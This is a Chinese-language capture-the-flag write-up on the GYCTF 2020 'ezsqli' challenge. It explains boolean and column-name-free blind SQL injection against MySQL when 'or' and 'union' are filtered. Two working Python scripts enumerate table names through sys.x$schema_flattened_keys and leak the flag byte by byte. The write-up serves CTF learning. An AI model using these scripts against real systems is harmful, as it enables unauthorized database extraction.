1.知識點
SQL盲注:
- 布爾盲注
- 無列名盲注
2.分析
題目過濾了or和union,無法使用Information_Schema.Tables。
之前常用的 innodb_table_stats 和 innodb_index_stats 也無法使用。
但是我們首先需要查找flag所在的表名,這裡我們參考
Alternatives to Extract Tables and Columns from MySQL and MariaDB
文章是用sys 來查找表名的。
本題腳本我參考了穎奇L’Amore師傅和Smi1e師傅的腳本。
下面是我自己覺得可以用的腳本。
列名查找:
import requests
import string
url = "題目url"
def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break
if __name__ == '__main__':
exp1()
flag擷取:
import requests
url = '題目url'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,50):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})<(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
if 'V&N' in r.text:
flag += chr(char-1)
print(flag)
break
print((flag[:-1] + chr(ord(flag[-1]) + 1)).lower())
3.原理
1.關于‘sys.x$schema_flattened_keys’可以直接參考MySQL和MariaDB提取表和列的方法
2.腳本進行了hex()操作,這是因為MySQL遇到hex會自動轉成字元串。
參考:
i春秋2020新春戰“疫”網絡安全公益賽GYCTF Writeup 第二天
新春戰疫公益賽-ezsqli-出題小記